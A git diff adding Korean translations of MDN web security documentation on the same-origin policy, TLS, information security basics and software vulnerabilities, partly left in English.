diff --git a/files/ko/web/security/same-origin_policy/index.html b/files/ko/web/security/same-origin_policy/index.html
new file mode 100644
index 0000000000..3c43aa1837
--- /dev/null
+++ b/files/ko/web/security/same-origin_policy/index.html
@@ -0,0 +1,271 @@
+---
+title: 동일 출처 정책
+slug: Web/Security/Same-origin_policy
+tags:
+  - CORS
+  - JavaScript
+  - Same-origin policy
+  - Security
+  - URL
+  - 교차 출처 정책
+  - 동일 출처 정책
+translation_of: Web/Security/Same-origin_policy
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/Security")}}</div>
+
+<p><strong>동일 출처 정책</strong>(same-origin policy)은 어떤 {{Glossary("origin", "출처")}}에서 불러온 문서나 스크립트가 다른 출처에서 가져온 리소스와 상호작용하는 것을 제한하는 중요한 보안 방식입니다. 동일 출처 정책은 잠재적으로 해로울 수 있는 문서를 분리함으로써 공격받을 수 있는 경로를 줄여줍니다.</p>
+
+<h2 id="출처의_정의">출처의 정의</h2>
+
+<p>두 URL의 {{glossary("protocol", "프로토콜")}}, {{glossary("port", "포트")}}(명시한 경우), {{glossary("host", "호스트")}}가 모두 같아야 <strong>동일한 출처</strong>라고 말합니다. "스킴/호스트/포트튜플"이나 그냥 "튜플"(2개 이상의 요소가 전체를 구성하는 집합)이라고 하기도 합니다.</p>
+
+<p>아래 표는 URL <code>http://store.company.com/dir/page.html</code>의 출처를 비교한 예시입니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>URL</th>
+   <th>결과</th>
+   <th>이유</th>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com/dir2/other.html</code></td>
+   <td>성공</td>
+   <td>경로만 다름</td>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com/dir/inner/another.html</code></td>
+   <td>성공</td>
+   <td>경로만 다름</td>
+  </tr>
+  <tr>
+   <td><code>https://store.company.com/secure.html</code></td>
+   <td>실패</td>
+   <td>프로토콜 다름</td>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com:81/dir/etc.html</code></td>
+   <td>실패</td>
+   <td>포트 다름 (<code>http://</code>는 80이 기본값)</td>
+  </tr>
+  <tr>
+   <td><code>http://news.company.com/dir/other.html</code></td>
+   <td>실패</td>
+   <td>호스트 다름</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="출처_상속">출처 상속</h3>
+
+<p><code>about:blank</code>와 <code>javascript:</code> URL은 출처 서버에 대한 정보를 가지고 있지 않습니다. 따라서 이런 URL에서 실행하는 스크립트는 해당 URL을 가지고 있는 문서의 출처를 상속합니다.</p>
+
+<div class="blockIndicator note">
+<p>예를 들어, <code>about:blank</code>는 부모 창에서 내용을 채워넣을 빈 팝업({{domxref("Window.open()")}} 등의 방식으로 생성)의 URL로 주로 사용됩니다. 만약 이 팝업이 JavaScript도 포함한다면 팝업을 생성한 스크립트의 출처를 따라가게 됩니다.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p><code>data:</code> URL은 비어있는 보안 맥락을 새로 받습니다.</p>
+</div>
+
+<h3 id="Internet_Explorer_예외사항">Internet Explorer 예외사항</h3>
+
+<p>Internet Explorer는 동일 출처 정책에 두 가지 중요한 예외사항이 있습니다.</p>
+
+<dl>
+ <dt>신뢰할 수 있는 사이트</dt>
+ <dd>양쪽 도메인 모두가 <strong>높음</strong> 단계의 보안 수준을 가지고 있는 경우 동일 출처 제약을 적용하지 않습니다.</dd>
+ <dt>포트</dt>
+ <dd>Internet Explorer는 동일 출처 정책 검사에 포트를 포함하지 않습니다. 따라서 <code>http://company.com:81/index.html</code>과 <code>http://company.com/index.html</code>은 동일 출처로 간주하며, 제한을 두지 않습니다.</dd>
+</dl>
+
+<p>두 예외 모두 비표준이며 다른 브라우저에서는 지원하지 않습니다.</p>
+
+<h2 id="출처_변경">출처 변경</h2>
+
+<p>일부 제약이 있긴 하지만 페이지의 출처를 변경하는 것도 가능합니다. 스크립트로{{domxref("document.domain")}}의 값을 현재 도메인이나 현재 도메인의 상위 도메인으로 변경할 수 있는데, 상위 도메인으로 설정한 경우 (더 짧은) 상위 도메인을 동일 출처 검사에 사용합니다.</p>
+
+<p><code>http://store.company.com/dir/other.html</code> 문서의 스크립트가 다음 코드를 실행한 이후를 가정해보겠습니다.</p>
+
+<pre class="notranslate">document.domain = "company.com";
+</pre>
+
+<p>해당 페이지는 <code>http://company.com/dir/page.html</code>과의 동일 출처 검사를 통과할 수 있습니다. (단, <code>http://company.com/dir/page.html</code> 역시 자신의 <code>document.domain</code>을 <code>"company.com"</code>으로 설정해 이런 동작을 허용하겠다고 알려줘야 합니다. {{domxref("document.domain")}} 문서에서 더 알아보세요.) 그러나, <code>company.com</code>은 <code>document.domain</code>을 <code>othercompany.com</code>으로 설정할 수 <strong>없습니다</strong>. <code>company.com</code>의 상위 도메인이 아니기 때문입니다.</p>
+
+<p>포트 번호는 브라우저가 따로 검사합니다. 모든 <code>document.domain</code>의 변화, 심지어 <code>document.domain = document.domain</code>조차 포트 번호를 {{jsxref("null")}}로 덮어씁니다. 따라서 <code>company.com:8080</code>과 <code>company.com</code>을 서로 연결하고자 할때 앞쪽에서 <code>document.domain = "company.com"</code>을 추가하는 것만 가지고는 <strong>불가능</strong>하며, 반드시 양쪽 모두 자신의 포트 숫자를 <code>null</code>로 설정해야 합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>document.domain</code>을 통해 서브도메인이 부모에 안전하게 접근할 수 있도록 허용할 때, 반드시 부모와 자식 모두의 <code>document.domain</code>을 같은 값으로 지정해야 합니다. 부모 도메인을 자기 자신의 값으로 설정하는, 아무 의미도 없어 보이는 경우라도 지정이 필요합니다. 그렇지 않으면 권한 오류가 발생할 수 있습니다.</p>
+</div>
+
+<h2 id="교차_출처_네트워크_접근">교차 출처 네트워크 접근</h2>
+
+<p>동일 출처 정책은 서로 다른 출처 사이에서 {{domxref("XMLHttpRequest")}} 혹은 {{htmlelement("img")}} 요소를 사용할 때 등의 상호작용을 통제합니다. 상호작용은 보통 다음의 세 가지 범주로 나뉩니다.</p>
+
+<ul>
+ <li>교차 출처 쓰기는 보통 허용합니다. 예시로는 링크, 리다이렉트, 양식 제출 등이 있습니다. 일부 HTTP 요청은 <a href="/en-US/docs/Web/HTTP/CORS#Preflighted_requests">프리플라이트</a>를 요구합니다.</li>
+ <li>교차 출처 삽입은 보통 허용합니다. 예시는 아래에 있습니다.</li>
+ <li>교차 출처 읽기는 보통 불허하지만, 종종 교차 출처 삽입 과정에서 읽기 권한이 누출됩니다. 가령 삽입한 이미지의 크기나, 삽입한 스크립트의 행동, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=629094">삽입한 리소스의 가용성</a> 등을 읽을 수 있습니다.</li>
+</ul>
+
+<p>다음은 교차 출처로 삽입할 수 있는 리소스의 일부 예제입니다.</p>
+
+<ul>
+ <li><code>&lt;script src="..."&gt;&lt;/script&gt;</code>로 추가하는 JavaScript. 그러나 구문 오류에 대한 상세 정보는 동일 출처 스크립트에서만 확인 가능합니다.</li>
+ <li><code>&lt;link rel="stylesheet" href="..."&gt;</code>로 적용하는 CSS. CSS의 <a href="https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html">느슨한 구문 규칙</a>으로 인해, 교차 출처 CSS는 올바른 <code>Content-Type</code> 헤더를 필요로 합니다. 브라우저 별 제한은 다릅니다. <a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622939(v=vs.85)?redirectedfrom=MSDN">Internet Explorer</a>, <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2010-46/">Firefox</a>, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=9877">Chrome</a>, <a href="https://support.apple.com/ko-kr/HT4070">Safari</a>(CVE-2010-0051), <a href="https://security.opera.com/cross-domain-data-theft-with-css-load-opera-security-advisories/">Opera</a></li>
+ <li>{{htmlelement("img")}}로 표시하는 이미지.</li>
+ <li>{{htmlelement("video")}}와 {{htmlelement("audio")}}로 재생하는 미디어.</li>
+ <li>{{htmlelement("object")}}와 {{htmlelement("embed")}}로 삽입하는 외부 리소스.</li>
+ <li>{{cssxref("@font-face")}}로 적용하는 글씨체. 하지만 일부 브라우저는 동일 출처를 요구할 수도 있습니다.</li>
+ <li>{{htmlelement("iframe")}}으로 삽입하는 모든 것. {{httpheader("X-Frame-Options")}} 헤더를 사용해 교차 출처 프레임의 대상이 되는 것을 방지할 수 있습니다.</li>
+</ul>
+
+<h3 id="교차_출처_접근_허용하기">교차 출처 접근 허용하기</h3>
+
+<p><a href="/ko/docs/Web/HTTP/CORS" title="HTTP/Access_control_CORS">CORS</a>를 사용해 교차 출처 접근을 허용하세요. CORS는 {{glossary("HTTP")}}의 일부로, 어떤 호스트에서 자신의 콘텐츠를 불러갈 수 있는지 서버에 지정할 수 있는 방법입니다.</p>
+
+<h3 id="교차_출처_접근_막기">교차 출처 접근 막기</h3>
+
+<ul>
+ <li>교차 출처 쓰기를 방지하려면 추측 불가능한 토큰을 요청에 포함하세요. <a href="https://owasp.org/www-community/attacks/csrf">교차 출처 요청 위조(Cross-Site Request Forgery, CSRF)</a> 토큰이라고 부릅니다. 토큰을 요구하는 페이지의 교차 출처 읽기도 막아야 합니다.</li>
+ <li>리소스의 교차 출처 읽기를 방지하려면 삽입 불가하도록 설정하세요. 리소스 삽입 과정에서 일부 정보가 새어 나가므로 방지해야 합니다.</li>
+ <li>교차 출처 삽입을 방지하려면, 리소스가 위에 나열한 삽입 가능 형태로 읽히지 않도록 해야 합니다. 브라우저는 Content-Type 헤더를 준수하지 않을 수도 있습니다. 즉, <code>&lt;script&gt;</code> 태그가 HTML 문서를 가리키도록 설정하는 경우, 브라우저는 HTML을 JavaScript로 분석하려고 시도합니다. 방지하려는 리소스가 사이트의 진입점이 아닌 경우 CSRF 토큰을 사용하는 것도 삽입 방지의 방법입니다.</li>
+</ul>
+
+<h2 id="교차_출처_스크립트_API_접근">교차 출처 스크립트 API 접근</h2>
+
+<p>{{domxref("HTMLIFrameElement.contentWindow", "iframe.contentWindow")}}, {{domxref("window.parent")}}, {{domxref("window.open")}}, {{domxref("window.opener")}} 등의 JavaScript API는 문서가 서로를 직접 참조할 수 있도록 합니다. 이때 두 문서의 출처가 같지 않을 경우 참조를 통해 {{domxref("Window")}}와 {{domxref("Location")}} 객체로의 매우 제한된 접근만 가능합니다. 아래의 두 구획에서 접근 가능한 항목을 볼 수 있습니다.</p>
+
+<p>서로 다른 출처의 문서간 통신을 하려면 {{domxref("window.postMessage()")}}를 사용하세요.</p>
+
+<p>명세: <a class="external external-icon" href="https://html.spec.whatwg.org/multipage/browsers.html#cross-origin-objects">HTML Living Standard § Cross-origin objects</a></p>
+
+<h3 id="Window">Window</h3>
+
+<p>교차 출처에서 <code>Window</code>의 다음 항목에 접근할 수 있습니다.</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">메서드</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("window.blur")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.close")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.focus")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.postMessage")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">속성</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("window.closed")}}</td>
+   <td>읽기 전용.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.frames")}}</td>
+   <td>읽기 전용.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.length")}}</td>
+   <td>읽기 전용.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.location")}}</td>
+   <td>읽기/쓰기.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.opener")}}</td>
+   <td>읽기 전용.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.parent")}}</td>
+   <td>읽기 전용.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.self")}}</td>
+   <td>읽기 전용.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.top")}}</td>
+   <td>읽기 전용.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.window")}}</td>
+   <td>읽기 전용.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>일부 브라우저는 위의 항목보다 더 많은 접근을 허용할 수도 있습니다.</p>
+
+<h3 id="Location">Location</h3>
+
+<p>교차 출처에서 <code>Location</code>의 다음 항목에 접근할 수 있습니다.</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">메서드</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("location.replace")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">속성</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("URLUtils.href")}}</td>
+   <td>쓰기 전용.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>일부 브라우저는 위의 항목보다 더 많은 접근을 허용할 수도 있습니다.</p>
+
+<h2 id="교차_출처_데이터_저장소_접근">교차 출처 데이터 저장소 접근</h2>
+
+<p><a href="/ko/docs/Web/API/Web_Storage_API">Web Storage</a>와 <a href="/ko/docs/Web/API/IndexedDB_API">IndexedDB</a> 등 브라우저에 저장한 데이터로의 접근은 출처별로 제한됩니다. 각각의 출처는 별도의 저장소를 받으며, 한 출처의 JavaScript에서 다른 출처의 저장소를 읽거나 쓰는 것은 불가능합니다.</p>
+
+<p>{{glossary("Cookie", "쿠키")}}는 출처에 대해 다른 정의를 사용합니다. 어떤 페이지는 자신의 도메인은 물론, 공개 접두사가 아닌 모든 부모 도메인에 대해 쿠키를 설정할 수 있습니다. Firefox와 Chrome은 <a href="https://publicsuffix.org/">Public Suffix List</a>를 사용해 도메인의 공개 접두사 여부를 판별합니다. Internet Explorer는 별도의 내부 방식을 사용합니다. 브라우저는 주어진 도메인 및 하위 도메인에 대한 쿠키 접근을 허용하며, 사용한 {{glossary("protocol", "프로토콜")}}(HTTP/HTTPS)과 {{glossary("port", "포트")}}는 검사하지 않습니다. 쿠키를 설정할 때 <code>Domain</code>, <code>Path</code>, <code>Secure</code>, <code>HttpOnly</code> 플래그를 사용해 쿠키 접근을 제한할 수 있습니다. 쿠키를 읽을 때, 쿠키를 설정한 장소는 볼 수 없습니다. 오로지 안전한 HTTPS 연결만 사용하더라도, 보이는 쿠키 중 어떠한 것이라도 안전하지 않은 연결에서 설정한 것일 수 있습니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">W3C의 Same-Origin Policy</a></li>
+ <li><a href="https://web.dev/secure/same-origin-policy">web.dev의 Same-origin policy</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">원본 문서 정보</h2>
+
+<ul>
+ <li>저자: Jesse Ruderman</li>
+</ul>
+</div>
diff --git a/files/ko/web/security/transport_layer_security/index.html b/files/ko/web/security/transport_layer_security/index.html
new file mode 100644
index 0000000000..16ba656e8e
--- /dev/null
+++ b/files/ko/web/security/transport_layer_security/index.html
@@ -0,0 +1,110 @@
+---
+title: Transport Layer Security
+slug: Web/Security/Transport_Layer_Security
+translation_of: Web/Security/Transport_Layer_Security
+---
+<div>{{draft}}</div>
+
+<p><span class="seoSummary"> TLS(Transport Layer Security)를 사용하는 연결의 보안은 암호 스위트(Ciper Suites)와 선택된 보안 파라메터에 강하게 의존합니다. 이 문서는 클라이언트와 서버 사이의 기밀성과 무결성 통신을 보장하기 위한 결정을 하도록 돕는 것이 목적입니다. 모질라 운영 보안(OpSec) 팀은 서버를 위한 참조용 설정이 있는 <a href="https://wiki.mozilla.org/Security/Server_Side_TLS">위키</a>를 관리합니다..</span></p>
+
+<p class="summary"> TLS(Transport Layer Security) 프로토콜은 네트워크로 연결된 두 개의 어플리케이션 혹은 디바이스가 비밀스럽고 강건하게 정보를 교환하도록 하는 표준입니다. TLS를 사용하는 어플리케이션은 데이터의 보안과 신뢰성에 상당한 영향을 미칠 수 있는 보안 파라메터를 선택할 수 있습니다. 이 글은 TLS에 대한 개요와 컨텐츠를 보호할 때 결정해야 할 사항에 대해 설명합니다.</p>
+
+<h2 id="역사">역사</h2>
+
+<p> HTTPS가 처음 발표 됐을 때는 넷스케이프가 도입한 기술인 SSL(Secure Sockets Layer) 2.0에 기반을 뒀습니다. 얼마되지 않아 SSL이 3.0으로 업데이트 되고 사용처가 확대되면서, 모든 웹 브라우저와 서버 사이에 상호 운영성을 보장하기 위한 공통의 표준 암호화 기술이 지정해야 하는 것이 명확해졌습니다. 국제 인터넷 표준화 기구(IETF)는 1999년 1월, TLS 1.0 {{RFC(2246)}}을 지정했습니다. 현재 TLS의 버전은 1.2 {{RFC(5246)}}입니다. 프로토콜에 대한 주요 개정 작업이 진행중이며, TLS 1.3이 거의 완성됐습니다.</p>
+
+<div class="note">
+<p>이제 웹이 암호화에 TLS를 사용하고 있음에도 불구하고, 많은 사람들이 아직까지 습관적으로 TLS를 "SSL"이라고 언급합니다.  </p>
+</div>
+
+<p> TLS가 모든 저수준의 전송 프로토콜의 위에서 사용될 수 있지만, 이 프로토콜은 원래 HTTP 트래픽을 암호화하는 것이 목적이었습니다. TLS로 암호화된 HTTP는 흔히 HTTPS라고 언급됐습니다. TLS로 암호화된 웹 트래픽은 관습적으로 443 포트를 통해 교환되었으며, 암호화되지 않은 HTTP는 기본적으로 80번 포트를 사용합니다. HTTPS는 중요한 TLS 사용 사례로 남았습니다.</p>
+
+<h2 id="HTTP보다_TLS">HTTP보다 TLS</h2>
+
+<p>TLS는 주고받는 데이터의 안전과 보안을 보장하게 하는 세 가지 주요 서비스를 제공합니다. </p>
+
+<dl>
+ <dt>인증</dt>
+ <dd>인증은 커뮤니케이션에 대한 각각의 당사자가 상대방이 주장하는 사람인지 검증하게 합니다.</dd>
+ <dt>암호화</dt>
+ <dd>데이터는 사용자 에이전트와 서버 사이에 전송이 되는 동안에 허용되지 않은 쪽에 의해 데이터가 읽혀지고 가로채지는 것을 방지하기 위해서 암호화됩니다.</dd>
+ <dt>무결성</dt>
+ <dd>TLS는 데이터를 암호화하고 전송하고 복호화하는 동안에 정보가 없어지거나, 손실되거나, 위변조되지 않는 것을 보장합니다.</dd>
+</dl>
+
+<p>TLS 연결은 클라이언트와 서버가 공유된 암호에 동의하고, 보안 스위트(cipher suite)같은 중요한 파라메터가 협상되는 핸드쉐이크 단계로 시작합니다. Once parameters and a data exchange mode where application data, such HTTP, is exchanged.</p>
+
+<h3 id="Cipher_suites">Cipher suites</h3>
+
+<p>TLS 핸드쉐이크가 협상하는 주요 파라메터들은 {{interwiki("wikipedia", "cipher suite")}}입니다.</p>
+
+<p>In TLS 1.2 and earlier, the negotiated cipher suite includes a set of cryptographic algorithms that together provide the negotiation of the shared secret, the means by which a server is authenticated, and the method that will be used to encrypt data.</p>
+
+<p>The cipher suite in TLS 1.3 primarily governs the encryption of data, separate negotiation methods are used for key agreement and authentication.</p>
+
+<p>Different software might use different names for the same cipher suites. For instance, the names used in OpenSSL and GnuTLS differ from those in the TLS standards. The <a href="https://wiki.mozilla.org/Security/Server_Side_TLS#Cipher_names_correspondence_table">cipher names correspondence table</a> on the Mozilla OpSec team's article on TLS configurations lists these names as well as information about compatibility and security levels.</p>
+
+<h3 id="Configuring_your_server">Configuring your server</h3>
+
+<p>서버를 올바르게 구성하는 것은 매우 중요합니다. 일반적으로, 사이트에 연결하려는 브라우저와 호환 가능한 최신 암호화 기능으로만 한정적으로 설정하는 것이 좋습니다. 올바른 설정과 관련해서 <a href="https://wiki.mozilla.org/Security/Server_Side_TLS">Mozilla OpSec guide to TLS configurations</a> 에서 추가적인 정보를 얻을 수 있습니다.</p>
+
+<p>To assist you in configuring your site, Mozilla provides a helpful <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">TLS configuration generator</a> that will generate configuration files for the following Web servers:</p>
+
+<ul>
+ <li>Apache</li>
+ <li>Nginx</li>
+ <li>Lighttpd</li>
+ <li>HAProxy</li>
+ <li>Amazon Web Services CloudFormation Elastic Load Balancer</li>
+</ul>
+
+<p>Using the <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">configurator</a> is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes. The configuration file may need some adjustments to include custom settings, so be sure to review the generated configuration before using it; installing the configuration file without ensuring any references to domain names and the like are correct will result in a server that just doesn't work.</p>
+
+<h2 id="TLS_1.3">TLS 1.3</h2>
+
+<p>{{RFC("8446", "TLS 1.3")}} is a major revision to TLS. TLS 1.3은 보안과 성능을 향상시키는 많은 변화들을 포함하고 있습니다. TLS 1.3의 목표는:</p>
+
+<ul>
+ <li>TLS 1.2에서 사용하지 않고 안전하지 않은 요소들을 제거하는 것</li>
+ <li>디자인에 높은 수준의 보안 분석을 포함시키는 것</li>
+ <li>더 많은 프로토콜들의 암호화를 통해 프라이버시를 향상시키는 것</li>
+ <li>핸드쉐이크를 성립시키는데 소요되는 시간을 단축시키는 것</li>
+</ul>
+
+<p>TLS 1.3은 프로토콜의 기본적인 부분들에 변화를 주지만, 이전 버전의 TLS의 기본적인 작업들을 대부분 온전히 수행할 수 있습니다. 웹에서 TLS 1.3은 아주 드문 예외적인 경우들을 제외하면 원활하게 사용될 수 있습니다.(아래 참고).</p>
+
+<p>TLS 1.3의 주요 변화들은:</p>
+
+<ul>
+ <li>TLS 1.3 핸드쉐이크는 대부분의 경우에 한번의 왕복만으로 성립되어, 핸드쉐이크 지연시간을 단축.</li>
+ <li>서버는 0-RTT(zero round trip time) 핸드쉐이크를 활성화시킬 수 있다. 서버에 재접속하려는 클라이언트들은 요청(request)을 즉시 보낼 수 있으며, 이를 통해 TLS 핸드쉐이크의 지연시간을 완전히 단축시킬 수 있다. 성능적인 측면에서 보면 0-RTT를 통해 얻을 수 있는 이점이 상당하지만, 리플레이 공격(replay attack)의 위험을 감수해야하므로 0-RTT를 활성화하기 전에 주의가 필요.</li>
+ <li>TLS 1.3 supports forward-secure modes only, unless the connection is resumed or it uses a pre-shared key.</li>
+ <li>TLS 1.3 defines a new set of cipher suites that are exclusive to TLS 1.3. These cipher suites all use modern Authenticated Encryption with Associated Data (AEAD) algorithms.</li>
+ <li>The TLS 1.3 handshake is encrypted, except for the messages that are necessary to establish a shared secret. In particular, this means that server and client certificates are encrypted. Note however that the server identity (the server_name or SNI extension) that a client sends to the server is not encrypted.</li>
+ <li>Numerous mechanisms have been disabled: renegotiation, generic data compression, {{interwiki("wikipedia", "Digital Signature Algorithm")}} (DSA) certificates, static RSA key exchange, and key exchange with custom Diffie-Hellman (DH) groups.</li>
+</ul>
+
+<p>Implementations of draft versions of TLS 1.3 are available. TLS 1.3 is enabled in some browsers, including the 0-RTT mode. Web servers that enable TLS 1.3 might need to adjust configuration to allow TLS 1.3 to operate successfully.</p>
+
+<p>TLS 1.3 adds just one significant new use case. The 0-RTT handshake can provide significant performance gains for latency sensitive applications, like the web. Enabling 0-RTT requires additional steps, both to ensure successful deployment and to manage the risks of replay attacks.</p>
+
+<p>TLS 1.3에서 재협상을 제거함으로써, 증명서(certificate)를 이용한 클라이언트 인증에 의존하는 몇몇 웹서버들이 영향을 받을 수 있습니다.어떤 웹서버들은 재협상을 통해 클라이언트 증명서의 암호화를 보장하거나, 특정 리소스가 필요할 때 재협상을 통해 클라이언트 증명서를 요청합니다. 클라이언트 증명서의 프라이버시를 위해, TLS 1.3 핸드쉐이크의 보안은 클라이언트 증명서가 암호화되었다는 것을 보장해줍니다. 그러나 소프트웨어에 변화가 필요할지도 모릅니다. TLS 1.3은 증명서를 사용한 반응형 클라이언트 인증을 지원하지만, 대중적으로 사용되지는 않습니다. HTTP/2를 지원하는 대안책들이 개발중에 있습니다.</p>
+
+<h2 id="TLS_handshake_timeout_values">TLS handshake timeout values</h2>
+
+<p>어떤 이유에서든지 간에 TLS 핸드쉐이크가 느려지거나 반응이 없다면 사용자 입장에서는 큰 영향을 받을 수가 있습니다. 이러한 문제들을 완화시키기위해 모던 브라우저들은 핸드쉐이크 시간 만료(handshake timeout)를 도입했습니다:</p>
+
+<ul>
+ <li>Firefox는 version 58 이후로 30초를 디폴트 값으로 가지는 TLS handshake timeout을 도입했습니다. Timeout value 값은 about:config에 있는 <code>network.http.tls-handshake-timeout</code> 를 통해 재설정 할 수 있습니다.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">Mozilla TLS Configurator</a> can help you generate configuration files for your server to secure your site.</li>
+ <li><a href="https://cipherli.st/">Cipherli.st</a> provides of strong TLS configurations for a variety of software products.</li>
+ <li>The Mozilla Operations Security (OpSec) team maintains a wiki page with <a href="https://wiki.mozilla.org/Security/Server_Side_TLS">reference TLS configurations</a>.</li>
+ <li><a href="https://observatory.mozilla.org/">Mozilla Observatory</a>, <a href="https://www.ssllabs.com/ssltest/">SSL Labs</a>, and <a href="https://github.com/mozilla/cipherscan">Cipherscan</a> can help you test a site to see how secure its TLS configuration is.</li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ko/web/security/정보_보안_기본/index.html b/files/ko/web/security/정보_보안_기본/index.html
new file mode 100644
index 0000000000..48eeaed961
--- /dev/null
+++ b/files/ko/web/security/정보_보안_기본/index.html
@@ -0,0 +1,28 @@
+---
+title: Information Security Basics
+slug: Web/Security/정보_보안_기본
+translation_of: Web/Security/Information_Security_Basics
+---
+<p><span class="seoSummary"> 정보 보안에 대한 기본적인 이해는 불안전하거나 취약점으로 인해 생긴 약점이 악의적인 이유로 악용되지 않게 당신을 도와줄 것입니다. 이 기사는 당신이 알아야 할 것을 배우는데 도움을 줄 것 입니다.</span> 이 정보를 이용하면, 웹 개발주기 및 콘텐츠 배포를 넘어 보안의 역할과 중요성을 알게될 것입니다.</p>
+
+<dl>
+ <dt><a href="/en-US/Learn/Confidentiality,_Integrity,_and_Availability">신뢰성, 무결성, 가용성</a></dt>
+ <dd>보안을 이해하기 위해 필수적이고 기본적인 보안의 목적에 대해 설명합니다. </dd>
+ <dt><a href="/en-US/Learn/Vulnerabilities">취약점</a></dt>
+ <dd>취약점의 주요 카테고리를 정의하고, 모든 소프트웨어에 있는 취약점에 대해서 논의합니다. </dd>
+ <dt><a href="/en-US/Learn/Threats">위협</a></dt>
+ <dd>주요한 위협의 개념에 대해 간단히 소개합니다.</dd>
+ <dt><a href="/en-US/Learn/Security_Controls">보안 제어</a></dt>
+ <dd>보안 제어의 주요 카테고리를 정의하고, 잠재적인 단점에 대해서 논의합니다. </dd>
+ <dt><a href="/en-US/Learn/TCP_IP_Security">TCP/IP 보안</a></dt>
+ <dd>SSL에 대한 보안 고려 사항에 초점을 맞춘 TCP / IP 모델의 개요.</dd>
+</dl>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Security">Browser security</a></li>
+ <li><a href="/en-US/docs/Web/Security">Web security</a></li>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site">Securing your site</a></li>
+ <li><a href="/en-US/docs/Security/Firefox_Security_Basics_For_Developers">Firefox Security Basics for Developers</a></li>
+</ul>
diff --git a/files/ko/web/security/정보_보안_기본/취약점/index.html b/files/ko/web/security/정보_보안_기본/취약점/index.html
new file mode 100644
index 0000000000..8b7543b414
--- /dev/null
+++ b/files/ko/web/security/정보_보안_기본/취약점/index.html
@@ -0,0 +1,99 @@
+---
+title: 취약점
+slug: Web/Security/정보_보안_기본/취약점
+tags:
+  - 보안
+  - 웹 보안
+  - 초보자
+  - 취약점
+  - 튜토리얼
+translation_of: Archive/Security/Vulnerabilities
+---
+<div class="summary">
+<p>이 글은 취약점이 무엇인지, 그리고 모든 시스템에서 어떻게 나타나는 지에 대하여 다룹니다.</p>
+</div>
+
+<p>취약점은 신뢰성, 무결성 및/또는 가용성에 부정적으로 작용할 수 있는 시스템 내의 약점입니다. 취약점을 분류할 수 있는 방법은 여러가지가 있습니다. 이 글은 소프트웨어 결함, 보안 설정 문제, 그리고 소프트웨어 기능 오용의 세가지 상위 취약점 분류를 사용합니다. 이러한 분류는 아래에서 설명하고 있습니다.</p>
+
+<h2 id="취약점_분류">취약점 분류</h2>
+
+<p><font><em>소프트웨어 결함 취약점</em>은 소프트웨어 설계 또는 코딩에서의 의도하지 않은 오류로 인해 발생합니다. 사용자가 제공한 입력이 알려진 공격과 관련있는 악의적인 문자열이거나 지나치게 긴 값에 대해 적절하게 평가되지 않는 것과 같은 입력 유효성 검사 오류를 그 예로 들 수 있습니다. 또 다른 예로는, 공격자가 상승된 권한으로 특정 작업을 수행할 수 있는 경합 조건 오류가 있습니다.</font></p>
+
+<p><font>보안 구성 설정은 소프트웨어 자체를 통해 변경할 수 있는 소프트웨어 보안의 요소입니다. 설정의 예로는 사용자에게 파일에 대한 권한을 설정하는 제어 목록에 대한 액세스를 제공하는 운영 체제와, 응용 프로그램이 저장한 중요한 데이터의 암호화를 활성화 또는 비활성화하는 응용 프로그램입니다.</font></p>
+
+<p><em>보안 구성 문제 취약점</em>에는 소프트웨어 보안에 부정적인 영향을 주는 보안 구성 설정이 사용됩니다.</p>
+
